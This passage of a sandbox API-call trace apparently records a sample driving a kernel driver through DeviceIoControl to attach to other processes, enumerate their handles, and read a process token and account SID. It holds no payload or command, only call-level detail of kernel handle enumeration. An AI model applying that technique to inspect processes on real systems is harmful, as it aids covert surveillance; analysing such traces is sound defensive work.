hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.861] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.861] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.861] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.861] PsAcquireProcessExitSynchronization () returned 0x0 [0113.861] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0113.861] ObReferenceObjectByHandle (in: Handle=0x60, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800fdff470, HandleInformation=0x0) returned 0x0 [0113.861] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.861] PsReleaseProcessExitSynchronization () returned 0x2 [0113.861] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0113.861] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.861] ObfDereferenceObject (Object=0xfffffa800fdff470) returned 0x1 [0113.861] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.861] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.861] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.861] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0113.861] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.861] PsAcquireProcessExitSynchronization () returned 0x0 [0113.861] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0113.861] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0113.861] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.861] PsReleaseProcessExitSynchronization () returned 0x2 [0113.861] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0113.861] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.861] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0113.861] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.861] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.861] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.862] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xca, lpOverlapped=0x0) returned 1 [0113.862] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.862] PsAcquireProcessExitSynchronization () returned 0x0 [0113.862] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0113.862] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800eb5bbc0, HandleInformation=0x0) returned 0x0 [0113.862] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.862] PsReleaseProcessExitSynchronization () returned 0x2 [0113.862] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0113.862] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.862] ObfDereferenceObject (Object=0xfffffa800eb5bbc0) returned 0x21 [0113.862] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.862] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.862] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.862] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.862] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.862] PsAcquireProcessExitSynchronization () returned 0x0 [0113.862] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0113.862] ObReferenceObjectByHandle (in: Handle=0x270, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002254f20, HandleInformation=0x0) returned 0x0 [0113.862] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.862] PsReleaseProcessExitSynchronization () returned 0x2 [0113.862] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0113.862] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.862] ObfDereferenceObject (Object=0xfffffa8002254f20) returned 0x1 [0113.862] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.862] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.862] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.862] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0113.862] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.862] PsAcquireProcessExitSynchronization () returned 0x0 [0113.862] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0113.862] ObReferenceObjectByHandle (in: Handle=0x390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800193d340, HandleInformation=0x0) returned 0x0 [0113.862] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.862] PsReleaseProcessExitSynchronization () returned 0x2 [0113.863] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0113.863] ObQueryNameString (in: Object=0xfffffa800193d340, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.863] ObfDereferenceObject (Object=0xfffffa800193d340) returned 0x3 [0113.863] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.863] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.863] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.863] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0113.863] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.863] PsAcquireProcessExitSynchronization () returned 0x0 [0113.863] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0113.863] ObReferenceObjectByHandle (in: Handle=0x408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80019c4430, HandleInformation=0x0) returned 0x0 [0113.863] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.863] PsReleaseProcessExitSynchronization () returned 0x2 [0113.863] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0113.863] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.863] ObfDereferenceObject (Object=0xfffffa80019c4430) returned 0x1 [0113.863] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.863] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.863] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.863] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xd0, lpOverlapped=0x0) returned 1 [0113.863] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.863] PsAcquireProcessExitSynchronization () returned 0x0 [0113.863] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0113.863] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001a2bb60, HandleInformation=0x0) returned 0x0 [0113.863] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.863] PsReleaseProcessExitSynchronization () returned 0x2 [0113.863] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0113.863] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.863] ObfDereferenceObject (Object=0xfffffa8001a2bb60) returned 0x12 [0113.863] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.863] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.863] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.863] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xee, lpOverlapped=0x0) returned 1 [0113.864] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.864] PsAcquireProcessExitSynchronization () returned 0x0 [0113.864] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0113.864] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001a2b850, HandleInformation=0x0) returned 0x0 [0113.864] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.864] PsReleaseProcessExitSynchronization () returned 0x2 [0113.864] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0113.864] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.864] ObfDereferenceObject (Object=0xfffffa8001a2b850) returned 0x1 [0113.864] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.864] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.864] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.864] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0113.864] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.864] PsAcquireProcessExitSynchronization () returned 0x0 [0113.864] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0113.864] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001a312b0, HandleInformation=0x0) returned 0x0 [0113.864] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.864] PsReleaseProcessExitSynchronization () returned 0x2 [0113.864] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0113.864] ObQueryNameString (in: Object=0xfffffa8001a312b0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.864] ObfDereferenceObject (Object=0xfffffa8001a312b0) returned 0x3 [0113.864] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.864] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.864] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.864] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0113.864] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.864] PsAcquireProcessExitSynchronization () returned 0x0 [0113.864] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0113.864] ObReferenceObjectByHandle (in: Handle=0x4b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001cb7240, HandleInformation=0x0) returned 0x0 [0113.865] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.865] PsReleaseProcessExitSynchronization () returned 0x2 [0113.865] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0113.865] ObQueryNameString (in: Object=0xfffff8a001cb7240, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.865] ObfDereferenceObject (Object=0xfffff8a001cb7240) returned 0x2 [0113.865] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.865] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.865] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.865] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.865] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.865] PsAcquireProcessExitSynchronization () returned 0x0 [0113.865] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0113.865] ObReferenceObjectByHandle (in: Handle=0x508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.865] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.865] PsReleaseProcessExitSynchronization () returned 0x2 [0113.865] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0113.865] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.865] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.865] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.865] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.865] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.865] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.865] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.865] PsAcquireProcessExitSynchronization () returned 0x0 [0113.865] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0113.865] ObReferenceObjectByHandle (in: Handle=0x54c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002f07140, HandleInformation=0x0) returned 0x0 [0113.865] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.865] PsReleaseProcessExitSynchronization () returned 0x2 [0113.865] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0113.865] ObQueryNameString (in: Object=0xfffff8a002f07140, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.865] ObfDereferenceObject (Object=0xfffff8a002f07140) returned 0x1 [0113.865] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.866] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.866] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.866] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0113.866] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.866] PsAcquireProcessExitSynchronization () returned 0x0 [0113.866] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880055905d0) [0113.866] ObReferenceObjectByHandle (in: Handle=0x598, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80035159b0, HandleInformation=0x0) returned 0x0 [0113.866] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.866] PsReleaseProcessExitSynchronization () returned 0x2 [0113.866] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0113.866] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.866] ObfDereferenceObject (Object=0xfffffa80035159b0) returned 0x11 [0113.866] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.866] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.866] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x770) returned 0xc0 [0113.866] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.866] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8001ee8b30, HandleInformation=0x0) returned 0x0 [0113.866] ObOpenObjectByPointer (in: Object=0xfffffa8001ee8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.866] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x12 [0113.866] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0113.866] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.866] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.866] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.866] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.868] CloseHandle (hObject=0xc8) returned 1 [0113.868] CloseHandle (hObject=0xc0) returned 1 [0113.868] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.868] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.868] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.868] PsAcquireProcessExitSynchronization () returned 0x0 [0113.868] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880055905d0) [0113.868] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001f8e070, HandleInformation=0x0) returned 0x0 [0113.868] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.868] PsReleaseProcessExitSynchronization () returned 0x2 [0113.868] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0113.868] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.868] ObfDereferenceObject (Object=0xfffffa8001f8e070) returned 0x1 [0113.868] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.868] HeapFree (in: hHeap=0x270000, dwFlags=0x0, 